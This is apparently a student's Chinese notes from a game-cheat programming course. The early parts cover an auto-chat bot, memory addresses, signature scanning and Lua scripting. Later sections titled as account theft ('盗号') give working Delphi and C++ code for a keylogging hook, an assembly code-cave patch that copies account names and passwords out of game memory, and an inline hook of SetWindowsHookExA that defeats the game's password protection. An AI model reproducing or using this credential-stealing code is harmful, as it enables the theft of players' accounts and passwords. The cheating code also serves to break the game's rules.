void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)
{
//过滤物品(修改物品属性)
page4.UpdateData(true);
if (page4.m_chk_autospeak)
{
//开启自动喊话
}else
{
//关闭自动喊话
}
} //end;
//在头文件gameproc.h里添加 回调函数说明
//自动喊话
extern void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);
在page4.cpp头部添加 #include "GameProc.h"
4、更新基址 及修改 talk函数
#define Talk_Base 0x127*4+0x5C8D420 //喊话内容CALL 及 ECX 基址
const int Talk_Content_Base= 0x015c71c4; //喊话内容基址
//写自动喊话函数
//全局变量
int speakNum=0;
void autotalk()
{
//循环使用喊话列表
char content[255];
while (true)
{
if ( page4.m_list_speak.GetCheck(speakNum)) //列表中被选中的内容 才喊话
{ page4.m_list_speak.GetText(speakNum,content);
talk(_T(content));
speakNum++; //指针指向下一句话
break;
} else {speakNum++;} //未选中则指针下移
if ((speakNum+1)>=page4.m_list_speak.GetCount()) //当指针 大于 列表总数时
{
speakNum=0;//重置0
break; //遍历完退出
}
}
//列表相关判断
}
void CALLBACK AutoCheckSpeak_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)
{
//过滤物品(修改物品属性)
page4.UpdateData(true);
if (page4.m_chk_autospeak)
{
//开启自动喊话
autotalk();
}else
{
//关闭自动喊话
}
BOOL CPAGE4::OnInitDialog()
{
CDialog::OnInitDialog();
m_list_speak.AddString("喊话内容1");
m_list_speak.AddString("喊话内容2");
return TRUE;
}
void CPAGE4::OnChangeEditInterval()
{
CString s;
((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->GetWindowText(s);
if (s.IsEmpty()) //如果 编辑框 为空了
{
this-> m_iSpeakInterval=0; //防止 “请输入一个数”出现
UpdateData(false); //更新0字符到窗口
((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->SetSel(0,1);
}
UpdateData(true);//更新窗口字串内容至变量m_chk_autospeak
}
void CPAGE4::OnCheckAutospeak() //自动喊话复选框
{
// TODO: Add your control notification handler code here
UpdateData(true);//更新窗口字串内容至变量m_chk_autospeak
if (m_chk_autospeak)
{
//开启喊话定时器
SetTimer(Timer_CheckSpeak,m_iSpeakInterval,AutoCheckSpeak_CallBack);
}else
{
//关闭喊话定时器
KillTimer(Timer_CheckSpeak);
}
}
void CPAGE4::OnButtonDelete()
{
// TODO: Add your control notification handler code here
m_list_speak.DeleteString(m_list_speak.GetCurSel());
}
在gameproc.h中添加
#define Timer_CheckSpeak Timer_ID_BASE+7
//////////常量定义区域////////////////////
const int CurRoleBase = 0x5C93360 ; //当前角色基址
const int CurListBase = 0x5C8D420 ; //所有对象列表基址
const int SendDataCall = 0x0043D420; //发包CALL
const int BeatMonCall = 0x00460B60; //普攻打怪CALL
const int PickGoodsCall = 0x00460D60; //捡物动作CALL
const int F1_F10Call = 0x005F09E0; //F1_F10技能栏CALL
const int F1_F10ECX = 0x15E8520 ; //F1_F10技能栏ECX
#define Talk_Base 0x127*4+0x5C8D420 //喊话内容CALL 及 ECX 基址
const int Talk_Content_Base= 0x015c71c4; //喊话内容基址
const int GoodsBase = 0x485A774; //物品背包数组基址
const int UseGoodsCallBase = 0x00585560; //物品使用CALL 基址
const int CurHpBase = 0x4858888; //+0当前血值基址,+4当前魔力值
///////////////////////////////////////////////////////////////////////
我发现老师的教案越来越详细了,我只好记录一下过程了.
还是继续编写代码,增加喊话功能.在PAG4里添加一个文本框用来添加喊话的内容,再来将这几个控件的名字改一下方便使用,更改一下列表框的排序方式,增加滚动条,再关联几个变量, .设置一下喊话的间隔时间,在这个整型变量中设置一下最大数和最小数 (都在教案中).
添加”添加”按钮的代码
void CPAGE4::OnButtonAdd()
{
UpdateData(true);//更新窗口字串内容至变量m_sAddContent
m_list_speak.AddString(m_sAddContent);//添加m_sAddContent内容至喊话列表框
}
添加后测试一下没添加进去,再修改一下代码,在变量定义这里将类改一下CcheckListBox是带复选框的样式.为了方便测试再将喊话的内容加入初始化,
CPAGE4::CPAGE4(CWnd* pParent /*=NULL*/)
: CDialog(CPAGE4::IDD, pParent)
{
//{{AFX_DATA_INIT(CPAGE4)
m_chk_autospeak = FALSE;
m_sAddContent = _T("我们的喊话内容");
m_iSpeakInterval = 5000;
//}}AFX_DATA_INIT
}
添加自动喊话复选框OnCheckAutospeak() 的代码(教案中)
再添加回调函数CALLBACK AutoCheckSpeak_CallBack,添加在头文件中…再添加喊话代码talk函数和自动喊话函数autotalk(教案中)
void talk(const char* text)//text="1234"
{
int base;
char *s;//[144F134]+13c;
int *p;
p=(int*)(Talk_Content_Base);
s=(char*)(*p+0x13c);
memcpy(s,text,strlen(text));
base=Talk_Base;
_asm
{mov esi,base
mov esi,[esi]
mov edx,[esi]
push 0x0d
push 0x0d
push 0x3ed
mov ecx,esi
call [edx+4]
}
}
再添加删除字串功能,测试一下OK了.再修改一下时间间隔,在喊话编辑框失去焦点时设置为5000毫秒
void CPAGE4::OnKillfocusEditInterval()
{
//当文本框失去焦点时
if (m_iSpeakInterval<5000)
{
m_iSpeakInterval=5000;
UpdateData(false);
}
}
4.1、游戏更新后的外挂更新
a、游戏特征码的提取及注意事项
d、根据特征码查找基址+偏移
c、更新外挂
////////////////////////////////////////////////////
游戏又更新了,为了查找方便,今天就来按特征码的方式找到以前需要的信息.举例子,先选了几行进行查找,注意带有常量数值(OD中白色数字)的是不能够当作特征码的,汇编指令和偏移一般可以当作特征码.当然也可以将上下多复制一些行保存起来如果前几行特征码不行则找后几行,如果实在找不到则找其中的子CALL看看.也可以找一下”所有命令序列”看看重复的特征码有多少.比如F1-F10是一个CASE所以在这段中比较长能够做特征码的代码也比较多.再找一下另一个
当然在OD中特征码不能超过8行,可以做特征码的例子如下:
//
MOV ECX,13
XOR EAX,EAX
LEA EDI,DWORD PTR SS:[EBP-5C]
CMP EDX,ESI
//
LEA EDI,DWORD PTR SS:[EBP-287A]
MOV WORD PTR SS:[EBP-287C],SI
MOV WORD PTR SS:[EBP-287E],SI
MOV WORD PTR SS:[EBP-2880],SI
REP STOS DWORD PTR ES:[EDI]
// 可作特征码
MOV EAX,DWORD PTR DS:[EDX+240]
TEST EAX,EAX
4.2 脚本功能
A、LUA功能简介
B、LUA库得获取
C、脚本的解释器的使用
D、编写脚本测试代码
注:教案丢了,这里是截图
先到LUA的主页下载解释文件,然后解压缩并运行luavs.bat安装到VC中,会生成一些文件,SRC目录就是资源库.
然后将原来的代码中的第5选项卡改成脚本,添加一个EDIT控件用于存放脚本,添加一个按钮用来执行脚本命令,再关联变量。要使用脚本首先要创建一个解释器的指针,也就是全局变量,需要一个头文件
Extern “c”
{
#include “luasrclua.h”
#include “luasrclualib.h”
#include “luasrclauxlib.h”
}
还要使用到动态链接库lua51.dll和lua51.lib,复制到我们的EXE程序目录下,再加入预编译命令
#pragma comment(lib,"lua51.lib")
还有全局变量解释器指针lua_State *L;我们要用F1-F10进行测试,所以这里要先对其进行包装
int f1_f10(lua_State*L) //只包含一个参数
{ int index;
index=lua_tointeger(L,1); //取F1F10第一个参数 并转换成整数存放到index
F1_F10(index);
//MessageBox(0,"TEST","LUA",MB_OK);
return 1;
}
BOOL CPAGE5::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
L=lua_open();//初始化指针
lua_register(L,"F1F10",f1_f10);//对函数进行注册参数1是指针,参数2是被定义的函数名称,参数3是在C++里的变量
lua_register(L,"SELMON",selmon);//选怪函数注册
lua_register(L,"USEGOODS",usegoods);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
写好代码后测试一下,发现无论怎么调用都会执行,原来是执行脚本还没有取文本框里的内容,再来设置一下.在执行脚本按钮中添加代码:
void CPAGE5::OnButtonDoscript()
{
// TODO: Add your control notification handler code here
//执行文本框里边的脚本
UpdateData();//更新变量内容
luaL_dostring(L,m_edt_s_script.GetBuffer(m_edt_s_script.GetLength()));
}
执行一下已经正确了,为了保证脚本内大小写的正确,所以直接转换成所有都是大写.执行一下,用F1F10[1]调用F1键进行攻击,已经可以了:
int f1_f10(lua_State*L) //只包含一个参数
{ int index;
index=lua_tointeger(L,1); //取F1F10第一个参数 并转换成整数存放到index
F1_F10(index);
//MessageBox(0,"TEST","LUA",MB_OK);
return 1;
}
看一下LUA脚本是否支持汉字,发现是不支持的.,但是也有办法,在执行命令之前将汉字转换成英文就可以了.再试一下选怪,这个是2个参数的.
int selmon(lua_State*L)//(float area,BOOL LimitFlag) //选怪功能
{ float area;//临时变量
BOOL LimitFlag;//临时变量
area=lua_tonumber(L,1); //取得第一个参数
LimitFlag=lua_toboolean(L,2);//以BOOL的方式转换第二个字串参数 并存放到LimitFlag里边
SelMon(area,LimitFlag); //调用真正的选怪CALL
return 1;
}
测试一下选怪,游戏出错了,是我们选怪函数没有更新?应该是参数2造成的,再测试一下又出错了.再用使用物品进行测试,又出错了.修改一下这次正确了.
用LUA做脚本发布的时候必须要带lua51.dll库.
随笔:老师说他也是第一次用LUA,真看不出来他咋学东西这么快呢,我是看着有点晕.不如在DELPHI班中老师自己写了一个脚本解释器来的直接.
4.3.1 盗号的实现(第一种键盘钩子)
本课是DELPHI班的补充内容.打开DELPHI班2-4-1的代码
var
s:string;
rolebase:^integer;
Function keyproc(icode,wp,lp:integer):DWORD;stdcall; //键盘HOOK回调函数
begin
if (icode=HC_ACTION)and ((1 shl 31)and lp=0){键按下} then
begin
rolebase:=Pointer($95E800+$1c); //dd [[95e800+1c]+24]
rolebase:=Pointer(rolebase^+$24);
if rolebase^=0 then//判断是否已经进入游戏
s:=s+char(wp); //取得字符串
if form1=nil then Form1:=Tform1.Create(nil);//创建窗口
form1.RzMemo1.Text:=s;//显示按的键符
if (wp=VK_HOME) then//如果按HOME键则打开或者关闭窗口
begin
form1.Visible:=not form1.Visible;//窗口取反
end;
end;
keyProc:=CallNextHookEx(keyhhk,icode,wp,lp);//恢复原来的钩子
end;
打开游戏测试一下已经可以取得键盘代码了
4.3.1盗号实现(第二种内存数据)
再来另一种盗号实现,首先下bp send断点,随便输入一个密码被断下,看一下堆栈里的数据,发现了字符串,找到关键地址
0058CD49 |B8 807A8800 MOV EAX,ElementC.00887A80
0058CD4E |. |895C24 30 MOV DWORD PTR SS:[ESP+30],EBX
0058CD52 |. |895C24 34 MOV DWORD PTR SS:[ESP+34],EBX
0058CD56 |. |895C24 38 MOV DWORD PTR SS:[ESP+38],EBX
0058CD5A |. |894424 2C MOV DWORD PTR SS:[ESP+2C],EAX
0058CD5E |. |895C24 40 MOV DWORD PTR SS:[ESP+40],EBX
0058CD62 |. |895C24 44 MOV DWORD PTR SS:[ESP+44],EBX
0058CD66 |. |895C24 48 MOV DWORD PTR SS:[ESP+48],EBX
0058CD6A |. |894424 3C MOV DWORD PTR SS:[ESP+3C],EAX
0058CD6E |. |C74424 24 744>MOV DWORD PTR SS:[ESP+24],ElementC.00894874
0058CD76 |. |C74424 28 020>MOV DWORD PTR SS:[ESP+28],2
0058CD7E |. |8B95 28010000 MOV EDX,DWORD PTR SS:[EBP+128] ; 密码
0058CD84 |. |8B85 24010000 MOV EAX,DWORD PTR SS:[EBP+124] ; 帐号 ; 帐号
我们在0058CD49 |B8 807A8800 MOV EAX,ElementC.00887A80这里修改成我们自己的跳转,找一段空代码00885D9D,编写代码,原理就是将账号密码取出来放在我们指定的位置不消失.
PUSHAD /保护堆栈
MOV ESI,[EBP+124] //这里是账号
MOV EDI,00885D9D //我们保存账号地址885D9
MOV ECX,10 //账号长度
REP MOVSB //把ESI指向字串复制到EDI指向地址,长度是ECX.
MOV ESI,[EBP+128] //原密码地址
MOV EDI,00885DDD //保存密码到地址
MOV ECX,10 //密码长度
REP MOVSB //复制字符串
POPAD //恢复堆栈
MOV EAX, 00887A80 //恢复原汇编代码
JMP 0058CD4E //跳回原处
但是这样写完了还是不行,因为有页面保护,我们用CE附加到游戏进程,用CE找到我们修改的代码处看看是否可读写执行,如果不可的话就用CE修改一下.测试一下发现游戏卡死了,我们直接写代码吧……写好代码后测试一下,出错了,是页面保护的问题,修改PAGE_EXECUTE_READWRITE后可以执行了,最终代码如下:
//先定义汇编代码的数组
var
//0058CD49 /E9 478F2F00 JMP ElementC.00885C95
jmpHook:array[1..5] of byte=($E9,$47,$8F,$2F,$00);
//30的大小是我们汇编指令的长度
GetID :array[1..$30] of byte=
($60, //60 PUSHAD
$8B,$B5,$24,$01,$00,$00, //8BB5 24010000 MOV ESI,DWORD PTR SS:[EBP+124]
$BF,$9D,$5D,$88,$00, //BF 9D5D8800 MOV EDI,ElementC.00885D9D ; 885d9d
$B9,$10,$00,$00,$00, //B9 10000000 MOV ECX,10
$F3,$A4, //rep movsb
$8B,$B5,$28,$01,$00,$00,//8BB5 28010000 MOV ESI,DWORD PTR SS:[EBP+128] ; 885ddd
$BF,$dd,$5D,$88,$00,// BF DD5D8800 MOV EDI,ElementC.00885DDD
$B9,$10,$00,$00,$00,// B9 10000000 MOV ECX,10
$F3,$A4,
$61, //popad
$B8,$80,$7A,$88,$00, //B8 807A8800 MOV EAX,ElementC.00887A80
$E9,$89,$70,$d0,$FF);//E9 8970D0FF JMP ElementC.0058CD4E
oldProtect:DWORD;
procedure TForm1.Button11Click(Sender: TObject);
begin
windows.VirtualProtect(Pointer($0058cd49),25,PAGE_EXECUTE_READWRITE,oldProtect);
//写jmp代码
asm
mov ecx,5
lea esi,jmpHook
mov edi,$0058cd49
rep movsb
end;
windows.VirtualProtect(Pointer($0058cd49),25,oldProtect,oldProtect);
////////////
windows.VirtualProtect(Pointer($885c95),330,PAGE_EXECUTE_READWRITE,oldProtect);
//写jmp代码
asm
mov ecx,$30
lea esi,GetID
mov edi,$885c95
rep movsb
end;
windows.VirtualProtect(Pointer($885c95),330,oldProtect,oldProtect);
///////////// 00885D9D
windows.VirtualProtect(Pointer($00885D9D),$50,PAGE_EXECUTE_READWRITE,oldProtect);
end;
//最后取出账号和密码
procedure TForm1.Button12Click(Sender: TObject);
var
p1,p2:pchar;
begin
p1:=Pointer($885D9d);
p2:=Pointer($885ddd);
self.RzMemo1.Lines.Add(p1+','+p2);
end;
最后测试一下终于成功了
4.3.1(001)通用性盗号Delphi版
4.3.1(002)精确资号实现delphi版
//////////////////////////////////////////////
上面两节课是DELPHI教程当中的内容,笔记请参阅DELPHI班
4-1-8、盗号原理
//////////////////////////////////////////////
4.3.2 ring3层过保护窃密账号密码
a、过密码保护原理
b、代码测试
c、in line hook
勾子特性:后安装,可以先处理消息
#define GameCaption "YB_OnlineClient"
WNDPROC oldproc;
LRESULT CALLBACK myproc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
if (uMsg==WM_CHAR)
{
page5.m_script.SendMessage(uMsg,wParam,lParam);
}
return CallWindowProc(oldproc,hwnd,uMsg,wParam,lParam);
}
HWND gh=FindWindow(NULL,GameCaption);//获取游戏窗口句柄
oldproc=(WNDPROC)GetWindowLong(gh,GWL_WNDPROC);
SetWindowLong(gh,GWL_WNDPROC,(long)myproc);
//in line hook SetWindowsHookExA
// TODO: Add your control notification handler code here
DWORD oldprotect;
HMODULE huser=GetModuleHandle("User32.dll");
FARPROC hookaddr=GetProcAddress(huser,"SetWindowsHookExA");
VirtualProtect(hookaddr,258,PAGE_EXECUTE_READWRITE,&oldprotect);
//要写入的地址 MySetWindowsHookEX-5-SetWindowsHookExA
int vaddr=(int)MySetWindowsHookEx-5-(int)hookaddr;//计算要跳转的地址
_asm
{
mov eax,hookaddr
mov [eax],0xe9 //JMP
add eax,1
mov ebx,vaddr
mov [eax], ebx
}
VirtualProtect(hookaddr,258,oldprotect,&oldprotect);
HHOOK mykb_hhk;
LRESULT CALLBACK MyKbProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
return CallNextHookEx(mykb_hhk,code,wParam,lParam);
}
HHOOK MySetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
)
{
/*
77D31211 > $ 8BFF MOV EDI,EDI
77D31213 ? 55 PUSH EBP
77D31214 ? 8BEC MOV EBP,ESP
77D31216 . 6A 02 PUSH 2 ; 2
77D31218 . FF75 14 PUSH DWORD PTR SS:[EBP+14] ; 1354 threadID
77D3121B . FF75 10 PUSH DWORD PTR SS:[EBP+10] ; HModule
77D3121E . FF75 0C PUSH DWORD PTR SS:[EBP+C] ; Hookproc
77D31221 . FF75 08 PUSH DWORD PTR SS:[EBP+8] ; HOOKTYPE WH_keyboard=2
77D31224 . E8 2E6FFFFF CALL USER32.77D28157
77D31229 . 5D POP EBP
77D3122A . C2 1000 RETN 10
*/
//判断 是不是WH_KEYBOARD
if ( (idHook==WH_DEBUG))
{
_asm
{
PUSH 2
PUSH dwThreadId
lea eax, MyKbProc //自己的勾子回调
push eax
PUSH hMod
PUSH idHook
mov eax, 0x77D28157
call eax
mov mykb_hhk,eax
}
} else
{
page5.m_edt_s_script+="XX,";
page5.UpdateData(false);
_asm
{
PUSH 2
PUSH dwThreadId
PUSH lpfn
PUSH hMod
PUSH idHook
mov eax, 0x77D28157
call eax
}
if (mykb_hhk>0)
{
UnhookWindowsHookEx(mykb_hhk); //卸载
page5.m_edt_s_script+="A,";
page5.UpdateData(false);
MessageBox(0,"WH_KB","KB",MB_OK);
ExitProcess(0);
}
_asm //再次重新安装,以确保自己的勾子是最顶层
{
PUSH 2
PUSH dwThreadId
lea eax, MyKbProc //自己的勾子回调
push eax
PUSH hMod
PUSH idHook
mov eax, 0x77D28157
call eax
mov mykb_hhk,eax
}
_asm //恢复
{
pop ebp
ret 0x10
}
}}
////////////////////////////////////////////////////
今天要学习的是最后一课了,比如RXJH这个游戏的密码保护是比较简单的,是用户层密码保护,一般是安装一个钩子函数,我们可以用工具XueTr0.29查看一下,看一下究竟安装了哪些钩子函数,
安装了很多键盘钩子,在我们输入密码的时候又多了一个WH_DEBUG消息钩子,是一个全局的DLL钩子,换成别的进程只要我们一按键就会将DLL注入进行保护.因为普通的密码我们通过HOOK就可以获取,但是RXJH已经安装了钩子我们再获取的就是乱码了.
我们要解决的办法就是另外安装一个钩子来去掉它的钩子,当然也需要时机,老师在此之前已经写好了代码将它的钩子卸载掉了,但是我们在回车登陆的时候游戏就退出了.
代码都在教案中,编写过程是这样的:首先取得了窗口过程,拦截了字符消息,然后发送到我们自己的程序中,创建程序窗口,取得游戏以前的窗口过程,设置游戏新的窗口过程,也就是将它的窗口过程给替换掉了.等它又安装密码保护的钩子时我们就拦截不到了,钩子的特征就是后安装的可以先执行,我们找到安装钩子的函数下个断bp SetWindowsHookExA,除了一般的钩子还有Debug钩子,这个函数的功能是不让我们再安装钩子而只安装它自己的钩子.我们编写代码判断安装的是不是DEBUG钩子,如果是的话就替换成我们自己的钩子, 0x77D28157是直接调用系统函数, 0xe9是JMP语句就是强制跳转,转到自己的函数中,当然是要计算跳转的地址,计算公式是要跳转到的地址减去2(长距离则减5)再减去当前地址还要加1.还要更改我们HOOK地址的页面属性为所有权限……最后在OD中看一下我们编写的代码是什么样,再用XueTr工具也看到我们的DLL钩子了.